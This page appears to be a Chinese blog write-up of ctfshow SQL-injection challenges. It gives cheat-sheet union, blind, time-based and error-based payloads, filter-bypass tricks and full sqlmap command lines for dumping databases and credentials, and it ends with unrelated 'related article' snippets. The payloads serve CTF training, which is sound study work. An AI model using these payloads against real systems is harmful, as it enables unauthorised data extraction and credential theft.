当前位置: 首页 > news >正文

ctfshow——SQL注入

文章目录

  • SQL注入基本流程
    • 普通SQL注入
    • 布尔盲注
    • 时间盲注
    • 报错注入——extractvalue()
    • 报错注入——updataxml()
    • Sqlmap的用法
  • web 171——正常联合查询
  • web 172——查看源代码、联合查询
  • web 173——查看源代码、联合查询
  • web 174——布尔盲注
  • web 176
  • web 177——过滤空格
  • web 178——过滤空格
  • web 179——过滤空格
  • web 180——过滤空格
  • web 181
  • web 182
  • web 201——referer、user-agent
  • web 202——data
  • web 203——method、headers
  • web 204——cookie
  • web 205——鉴权
  • web 206——前后闭合
  • web 207——tamper、过滤空格

SQL注入基本流程

普通SQL注入

	id=1'    //报错,说明有注入点id=1 and 1=1 # //正确id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入id=1 order by <数字> # //判断字段数id=1 and 1=2 union select 1,2,3, ... #   //查看回显点id=1 and 1=2 union select 1,2,database(), ... #   //查看数据库名id=1 and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名') #   //查看表名id=1 and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名') #  //查看字段名id=1 and 1=2 union select 1,(select group_concat(concat(字段1,'%23',字段2)) from 数据库名.表名) #   //查看字段内容

使用union select的时候,需要使前面一条语句错误。
关于注释符#-- (有个空格)--+的讨论

  • get请求中只能用--+
    url中#是用来指导浏览器动作的,对服务器端无效;在url传输过程中,-- 中的空格会被忽略。
  • post请求中则都可以。

布尔盲注

	id=1' //报错,说明有注入点id=1 and 1=1 # //正确id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入id=1 and length(database())=1 # //判断数据库名长度id=1 and ascii(substr(database(),1,1))=98 # //猜数据库名id=1 and (select count(table_name) from information_schema.tables where table_schema=database())=1 # // 猜表的个数id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1))=103 # // 猜第一个表名的长度id=1 and (select+count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 # // 猜user表中的字段个数id=1 and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=7 # //猜user表中第一个字段的长度id=1 and ascii(substr((select column_name from+information_schema.columns where table_name='users' limit 0,1),1,1))=117 # //猜user表中第一个字段的第一个字母id=1 and length((select user from dvwa.users limit 0,1))=5 # // 猜user表中user字段内容的长度id=1 and ascii(substr((select user from dvwa.users limit 0,1),1,1))=97 # //猜user表中中user字段值的首字母

时间盲注

	id=1 and sleep(5) # //数字型则等待5秒id=1' and sleep(5) # //字符型则等待5秒id=1 and if(length(database())=4,sleep(5),1) # //猜数据库名长度id=1 and if(ascii((substr(database(),1,1)))=100,sleep(5),1) # //猜数据库名id=1 and if(select count(table_name) from information_schema.tables where table_schema=database(),sleep(5),1)=1 # // 猜表的个数id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1))=103,sleep(5),1) # // 猜第一个表名的长度id=1 and if((select+count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8,sleep(5),1) # // 猜user表中的字段个数id=1 and if(length((select column_name from information_schema.columns where table_name='users' limit 0,1))=7,sleep(5),1) # //猜user表中第一个字段的长度id=1 and if(ascii(substr((select column_name from+information_schema.columns where table_name='users' limit 0,1),1,1))=117,sleep(5),1) # //猜user表中第一个字段的第一个字母id=1 and if(length((select user from dvwa.users limit 0,1))=5,sleep(5),1) # // 猜user表中user字段内容的长度id=1 and if(ascii(substr((select user from dvwa.users limit 0,1),1,1))=97,sleep(5),1) # //猜user表中中user字段值的首字母

报错注入——extractvalue()

id=1' #   //报错,说明有注入点
id=1 and 1=1 # //正确
id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入id=1' and (select extractvalue(1,concat('~',(select database())))) --+ //爆出当前数据库名
id=1' and (select extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='数据库名')))) --+ //查看数据库中的表
id=1' and (select extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名')))) --+ //查看表中的字段名
id=1' and (select extractvalue(1,concat('~',(select group_concat(concat(字段1,'%23',字段2))))) --+ //查看字段内容

进行报错注入的时候,需要对id参数进行闭合。

报错注入——updataxml()

id=1' #   //报错,说明有注入点
id=1 and 1=1 # //正确
id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入id=1' and (select updatexml(1,concat('~ ',(select database()), '~'),1)) --+ //爆出当前数据库名
id=1' and (select updatexml(1,concat('~ ',(select group_concat(table_name) from information_schema.tables where table_schema='数据库名'), '~'),1)) //查看数据库中的表
id=1' and (select updatexml(1,concat('~ ',(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名'), '~'),1)) //查看表中的字段名
id=1' and (select updatexml(1,concat('~ ',(select group_concat(concat(字段1,'%23',字段2))), '~'),1)) --+ //查看字段内容

Sqlmap的用法

sqlmap
sqlmap -u "url"  //-u选项是检测注入点
sqlmap -u "url" --dbs  //--dbs选项是列出所有数据库名
sqlmap -u "url" --current-db  //--current-db选项是列出当前数据库的名字
sqlmap -u "url" -D "数据库名" --tables //-D是指定一个数据库  --tables是列出这个数据库的所有表名
sqlmap -u "url" -D "数据库名" -T "表名" --columns //-T是指定表名  --columns是列出所有的字段名
sqlmap -u "url" -D "数据库名" -T "表名" -C "字段名" --dump //-C是指定字段  --dump是列出字段内容

web 171——正常联合查询

在这里插入图片描述
首先判断是否存在SQL注入:

id=1' # 使用单引号看报不报错,报错就说明存在SQL注入

在这里插入图片描述

id=1' order by 3 --+ 

注意:如果id='1--+',这里面的注释(--+)是不起效的。

在这里插入图片描述

id=-1' union select 1,2,3 --+ # union前面的查询语句必须为false,这样页面才会显示出第二个select语句的结果。

在这里插入图片描述

-1' union select database(),(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user') --+ # 查看数据库名、表名、字段名

在这里插入图片描述

-1' union select 1,2,(select group_concat(concat(username,'%23',password)) from ctfshow_web.ctfshow_user) --+ # 查看字段内容

在这里插入图片描述

web 172——查看源代码、联合查询

查看页面源代码,发现一个js文件。访问该文件,会发现一个查询接口/api?id=1

在这里插入图片描述

	id=1'    //报错,说明有注入点id=1 and 1=1 # //正确id=1 and 1=2 # //正确,说明不是数字型注入id=1' and 1=1 # 正确id=1' and 1=2 # //错误,说明是单引号闭合的字符型注入id=1' order by <数字> # //判断字段数id=-1' union select 1,2,3, ... #   //查看回显点id=-1' union select 1,2,database(), ... #   //查看数据库名id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名') #   //查看表名id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名') #  //查看字段名id=-1' union select 1,(select group_concat(concat(字段1,'%23',字段2)) from 数据库名.表名) #   //查看字段内容

注意:关于and 1=1and 1=2,前者恒为真,如果and前面的语句有内容,则正常输出;后者恒为假,如果and前面的语句有内容,也不会输出。故,可以通过他们俩来判断SQL注入类型。

在这里插入图片描述

web 173——查看源代码、联合查询

同web172

web 174——布尔盲注

id=1' //判断是否存在SQL注入
id=1 and 1=1 # //正确
id=1 and 1=2 # //正确,说明不是数字型注入id=1' and 1=1 # //正确
id=1' and 1=2 # //错误,说明是单引号闭合的字符型注入
id =1' and length(database())=11 --+ //通过布尔盲注猜测数据库长度

在这里插入图片描述

web 176

1' or 1=1 --+

在这里插入图片描述

web 177——过滤空格

空格被过滤,就用/**/替换。
在这里插入图片描述

web 178——过滤空格

空格被过滤,/**/也用不了,用%09%0b替换。
在这里插入图片描述

web 179——过滤空格

空格被过滤,/**/%09%0b也用不了,用%0c替换。
在这里插入图片描述

web 180——过滤空格

空格被过滤,/**/+%09%0b也用不了,用%0c%2b(+的url编码)替换。
在这里插入图片描述

web 181

payload: 0'or(username='flag')and'1,插入payload后语句变成:
select id,username,password from ctfshow_user where username != 'flag' and id = '0'or(username='flag')and'1' limit 1;

  • 因为and 的优先级比 or 要高,故注入后:
    select id,username,password from ctfshow_user where username != 'flag' and id = '0'or(username='flag') limit 1;
  • 前面满足条件 id=0 的记录不存在,故该语句可简化为
    select id,username,password from ctfshow_user where (0) or(username='flag')and'1' limit 1;
  • 先计算 and,再计算 or,最后得到满足 username='flag' 的记录,即 flag
    在这里插入图片描述

web 182

payload: -1'or(username%0clike%0c'%fla%')and%0c'1。不知道为啥这里%0c没有被过滤。
在这里插入图片描述

web 201——referer、user-agent

这一关开始使用sqlmap。
在这里插入图片描述
User-Agent需要为sqlmapreferer需要为stf.show
在这里插入图片描述
一种方法是抓取数据包,让sqlmap跑数据包;另一种方法是用-u参数指定要测试的网址,--user-agent用来指定UA头,--referer伪造referer。命令如下:

python sqlmap.py -r test.txt //跑数据包
python sqlmap.py -u "http://6e28402d-8f54-45bc-8a52-657ffc3c35fe.challenge.ctf.show/api/?id=1&page=1&limit=10" --user-agent=sqlmap --referer=ctf.show
  • 跑数据包的时候,在需要跑的参数后面加*
  • -u参数中,链接用双引号、加上协议。

在这里插入图片描述
在这里插入图片描述

web 202——data

--data指定 sqlmap 以 post 方式提交数据。

python sqlmap.py -u "https://604a8386-7689-44bb-a7e1-b532cbe9ff5a.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show

在这里插入图片描述

web 203——method、headers

--method=put:更改http请求方式为put,put请求用于向服务器更新指定资源。--headers用来告诉服务器这次传输的数据格式。

python sqlmap.py -u "http://a8e2bd07-1e16-4e83-9752-5634117000e4.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=put --header="Content-Type:text/plain"

web 204——cookie

--cookie:在请求头中添加cookie字段。

python sqlmap.py -u "http://5c93dea2-8127-4efb-915b-7564efdc6107.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=put --headers="Content-Type:text/plain" --cookie="PHPSESSID=jc9bhjq7q61trcapiu02gm6430; ctfshow=124cf7ab13ecc64b6e21a9de8cdb8511"

要将url链接写完整,index.php都要加上!!!

web 205——鉴权

这一关在正式查询之前,会先访问/api/getToken.php进行鉴权。--safe-url=SAFEURL:设置在测试目标地址前访问的安全链接。--safe-freq=1:每次测试请求之后都会访问一下的安全 URL。

python sqlmap.py -u "http://879bff8e-d7da-4064-ba34-093ed4aa03da.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=put --headers="Content-Type:text/plain" --cookie="PHPSESSID=vlqa3pc2obqitu6addelltlqj7" --safe-url="http://879bff8e-d7da-4064-ba34-093ed4aa03da.challenge.ctf.show/api/getToken.php" --safe-freq=1

web 206——前后闭合

这一关需要闭合前面的(',所以--prefic="')"闭合('--suffic="#"注释掉查询语句后面的部分。
在这里插入图片描述

python sqlmap.py -u "http://351530ad-baec-440f-9296-b317d6187679.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=put --headers="Content-Type:text/plain" --cookie="PHPSESSID=ggtmp49c0gjq9fihihrhkij83m" --safe-url="http://351530ad-baec-440f-9296-b317d6187679.challenge.ctf.show/api/getToken.php" --safe-freq=1 --prefix="')" --suffix="#"

web 207——tamper、过滤空格

过滤空格
在这里插入图片描述

python sqlmap.py -u "http://75b5df82-82e4-44ec-8bfb-8e99392e8202.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=put --headers="Content-Type:text/plain" --cookie="PHPSESSID=43010km376i0fhhmsn6lopr3r3" --safe-url="http://75b5df82-82e4-44ec-8bfb-8e99392e8202.challenge.ctf.show/api/getToken.php" --safe-freq=1 --prefix="')" --suffix="#" --tamper=space2comment

相关文章:

ctfshow——SQL注入

文章目录 SQL注入基本流程普通SQL注入布尔盲注时间盲注报错注入——extractvalue()报错注入——updataxml()Sqlmap的用法 web 171——正常联合查询web 172——查看源代码、联合查询web 173——查看源代码、联合查询web 174——布尔盲注web 176web 177——过滤空格web 178——过…...

第十三章 计算机网络

这里写目录标题 1.网络设备2.协议簇2.1电子邮件(传输层)2.2地址解析(网际层)2.3DHCP(动态主动配置协议)2.4URL(统一资源定位器)2.5IP地址和子网掩码 1.网络设备 物理层&#xff1a;中继器&#xff0c;集线器(多路中继器) 数据链路层&#xff1a;网桥&#xff0c;交换机(多端口…...

商品详情 API 返回值说明

商品详情API接口在多个领域和场景中都有广泛的应用&#xff0c;以下是一些常见的应用场景&#xff1a; 竞品分析&#xff1a;企业可以利用商品详情API接口获取竞品的所有详细信息&#xff0c;如价格、发货地、上架时间、销售量等。通过分析这些竞品信息&#xff0c;企业可以更…...

层级实例化静态网格体组件:开启大量模型处理之门

前言 在数字孪生的世界里&#xff0c;我们常常需要构建大量的模型来呈现真实而丰富的场景。然而&#xff0c;当使用静态网格体 &#xff08;StaticMesh &#xff09;构建大量模型时&#xff0c;可能会遇到卡顿的问题&#xff0c;这给我们带来了不小的困扰&#x1f623;。那么&…...

【网络知识】光猫、路由器 和 交换机 的作用和区别?

数字信号&#xff1a;是指自变量是离散的、因变量也是离散的信号&#xff0c;这种信号的自变量用整数表示&#xff0c;因变量用有限数字中的一个数字来表示。在计算机中&#xff0c;数字信号的大小常用有限位的二进制数表示。 模拟信号&#xff1a;模拟信号是指用连续变化的物…...

初识Electron,创建桌面应用

历史小剧场 呜呼&#xff01;古有匈奴犯汉&#xff0c;晋室不纲&#xff0c;铁木夺宋&#xff0c;虏清入关&#xff0c;神舟陆沉二百年有余&#xff0c;中国之见灭于满清初非满人能灭之&#xff0c;能有之也因有汉奸以作虎怅&#xff0c;残同胞媚异种&#xff0c;始有吴三桂洪承…...

AI编码时代到来?实现编程梦想的利器—Baidu Comate测评

文章目录 Comate智能编码是什么&#xff1f;Comate支持的环境 Comate应用安装实际操作对话式生成代码生成代码注释智能单测项目测试调优功能 总结 Comate智能编码是什么&#xff1f; 在如今这个拥抱AI的时代&#xff0c;市面上已经产出了很多Ai代码助手&#xff0c;如果你还没…...

去中心化自治组织(DAO)

文章目录 一、DAO (Decentralized Autonomous Organization) 去中心化自治组织 二、举例说明 1、例子1 2、例子2 总结 一、DAO (Decentralized Autonomous Organization) 去中心化自治组织 DAO是一种基于区块链平台上的组织结构&#xff0c;它通过智能合约来实现组织的…...

MySQL之多表查询

1. 前言 多表查询&#xff0c;也称为关联查询.指两个或两个以上的表一起完成查询操作.前提条件 : 这些一起查询的表之间是有关系的(一对一/一对多).他们之间一定是有关联字段&#xff0c;这个关联字段可能建立了外键&#xff0c;也可能没有建立外键. 2. 笛卡尔积现象(交叉连接…...

极端天气频发,我们普通人如何保全自己

随着全球气候变暖的加剧&#xff0c;极端天气事件如同一位不请自来的“不速之客”&#xff0c;频繁地闯入我们的生活。暴风雨、暴风雪、台风、干旱、热浪等极端天气现象&#xff0c;不仅给人们的生命和财产安全带来了前所未有的挑战&#xff0c;更对社会的正常秩序构成了严重威…...

直面市场乱价,品牌商家该如何解决?

在当今的商业世界中&#xff0c;品牌商面临着一系列严峻挑战&#xff0c;其中如何有效管理经销商价格是一个关键难题。经销商随意调整价格的行为&#xff0c;不仅会损害品牌的信誉与形象&#xff0c;还可能导致市场秩序混乱&#xff0c;使品牌利润大幅缩水。因此&#xff0c;采…...

Spring中的Bean相关理解

在Spring框架中&#xff0c;Bean是一个由Spring IoC容器实例化、配置和管理的对象。Bean是一个被Spring框架管理并且被应用程序各个部分所使用的对象。Spring IoC容器负责Bean的创建、初始化、依赖注入以及销毁等生命周期管理。 注&#xff1a;喜欢的朋友可以关注公众号“JAVA学…...

操作系统实战(二)(linux+C语言)

实验内容 通过Linux 系统中管道通信机制&#xff0c;加深对于进程通信概念的理解&#xff0c;观察和体验并发进程间的通信和协作的效果 &#xff0c;练习利用无名管道进行进程通信的编程和调试技术。 管道pipe是进程间通信最基本的一种机制,两个进程可以通过管道一个在管道一…...

哪些情况下会触发MySQL的预读机制?

MySQL的预读机制主要与其底层存储引擎的实现有关&#xff0c;尤其是InnoDB存储引擎。预读&#xff08;Pre-reading&#xff09;或预取&#xff08;Prefetching&#xff09;是一种性能优化技术&#xff0c;其中数据库系统主动读取可能很快就会被查询到的数据页到缓冲池&#xff…...

react使用谷歌人机验证

在项目中&#xff0c;需要对请求验证&#xff0c;防止被爆破&#xff0c;这里使用的是谷歌的recaptcha-v3。 1.申请谷歌人机验证的api 申请链接,申请完后需要将两个谷歌颁发的key分别写入前&#xff0c;后端的配置环境中&#xff0c;后面会使用. 2.前端部分 前端使用的是viteC…...

java JMH 学习

JMH 是什么&#xff1f; JMH&#xff08;Java Microbenchmark Harness&#xff09;是一款专用于代码微基准测试的工具集&#xff0c;其主要聚焦于方法层面的基准测试&#xff0c;精度可达纳秒级别。此工具由 Oracle 内部负责实现 JIT 的杰出人士编写&#xff0c;他们对 JIT 及…...

本地运行AI大模型简单示例

一、引言 大模型LLM英文全称是Large Language Model&#xff0c;是指包含超大规模参数&#xff08;通常在十亿个以上&#xff09;的神经网络模型。2022年11月底&#xff0c;人工智能对话聊天机器人ChatGPT一经推出&#xff0c;人们利用ChatGPT这样的大模型帮助解决很多事情&am…...

图像处理:时域、空域、频率的滤波介绍

首先要搞清楚为什么会呈现出不同域的维度&#xff0c;来理解和处理图像&#xff0c;原因是图像的构成有多个维度的信息特点。比如一段视频从时间顺序来看&#xff0c;相邻的2个图像帧绝大部分信息是相同的&#xff0c;这就构成了前向预测的理论基础&#xff1b;比如一帧图像从空…...

TC8002D 是一颗带关断模式的音频功放IC

一、一般概述 TC8002D是一颗带关断模式的音频功放IC。在5V输入电压下工作时&#xff0c;负载(3Ω)上的平均功率 为3 W&#xff0c;且失真度不超过10%。而对于手提设备而言&#xff0c;当VDD作用于关断端时&#xff0c;TC8002D将会进入关断模式&#xff0c;此时的功耗极…...

深度学习之基于Vgg19预训练卷积神经网络图像风格迁移系统

欢迎大家点赞、收藏、关注、评论啦 &#xff0c;由于篇幅有限&#xff0c;只展示了部分核心代码。 文章目录 一项目简介 二、功能三、系统四. 总结 一项目简介 一、项目背景 在数字艺术和图像处理领域&#xff0c;图像风格迁移技术一直备受关注。该技术可以将一幅图像的内容和…...

论文解读:交大港大上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化学习框架(二)

HoST框架核心实现方法详解 - 论文深度解读(第二部分) 《Learning Humanoid Standing-up Control across Diverse Postures》 系列文章: 论文深度解读 + 算法与代码分析(二) 作者机构: 上海AI Lab, 上海交通大学, 香港大学, 浙江大学, 香港中文大学 论文主题: 人形机器人…...

2.Vue编写一个app

1.src中重要的组成 1.1main.ts // 引入createApp用于创建应用 import { createApp } from "vue"; // 引用App根组件 import App from ./App.vue;createApp(App).mount(#app)1.2 App.vue 其中要写三种标签 <template> <!--html--> </template>…...

大语言模型如何处理长文本?常用文本分割技术详解

为什么需要文本分割? 引言:为什么需要文本分割?一、基础文本分割方法1. 按段落分割(Paragraph Splitting)2. 按句子分割(Sentence Splitting)二、高级文本分割策略3. 重叠分割(Sliding Window)4. 递归分割(Recursive Splitting)三、生产级工具推荐5. 使用LangChain的…...

linux arm系统烧录

1、打开瑞芯微程序 2、按住linux arm 的 recover按键 插入电源 3、当瑞芯微检测到有设备 4、松开recover按键 5、选择升级固件 6、点击固件选择本地刷机的linux arm 镜像 7、点击升级 &#xff08;忘了有没有这步了 估计有&#xff09; 刷机程序 和 镜像 就不提供了。要刷的时…...

CocosCreator 之 JavaScript/TypeScript和Java的相互交互

引擎版本&#xff1a; 3.8.1 语言&#xff1a; JavaScript/TypeScript、C、Java 环境&#xff1a;Window 参考&#xff1a;Java原生反射机制 您好&#xff0c;我是鹤九日&#xff01; 回顾 在上篇文章中&#xff1a;CocosCreator Android项目接入UnityAds 广告SDK。 我们简单讲…...

【Java_EE】Spring MVC

目录 Spring Web MVC ​编辑注解 RestController RequestMapping RequestParam RequestParam RequestBody PathVariable RequestPart 参数传递 注意事项 ​编辑参数重命名 RequestParam ​编辑​编辑传递集合 RequestParam 传递JSON数据 ​编辑RequestBody ​…...

NFT模式:数字资产确权与链游经济系统构建

NFT模式&#xff1a;数字资产确权与链游经济系统构建 ——从技术架构到可持续生态的范式革命 一、确权技术革新&#xff1a;构建可信数字资产基石 1. 区块链底层架构的进化 跨链互操作协议&#xff1a;基于LayerZero协议实现以太坊、Solana等公链资产互通&#xff0c;通过零知…...

什么是Ansible Jinja2

理解 Ansible Jinja2 模板 Ansible 是一款功能强大的开源自动化工具&#xff0c;可让您无缝地管理和配置系统。Ansible 的一大亮点是它使用 Jinja2 模板&#xff0c;允许您根据变量数据动态生成文件、配置设置和脚本。本文将向您介绍 Ansible 中的 Jinja2 模板&#xff0c;并通…...

均衡后的SNRSINR

本文主要摘自参考文献中的前两篇&#xff0c;相关文献中经常会出现MIMO检测后的SINR不过一直没有找到相关数学推到过程&#xff0c;其中文献[1]中给出了相关原理在此仅做记录。 1. 系统模型 复信道模型 n t n_t nt​ 根发送天线&#xff0c; n r n_r nr​ 根接收天线的 MIMO 系…...

python报错No module named ‘tensorflow.keras‘

是由于不同版本的tensorflow下的keras所在的路径不同&#xff0c;结合所安装的tensorflow的目录结构修改from语句即可。 原语句&#xff1a; from tensorflow.keras.layers import Conv1D, MaxPooling1D, LSTM, Dense 修改后&#xff1a; from tensorflow.python.keras.lay…...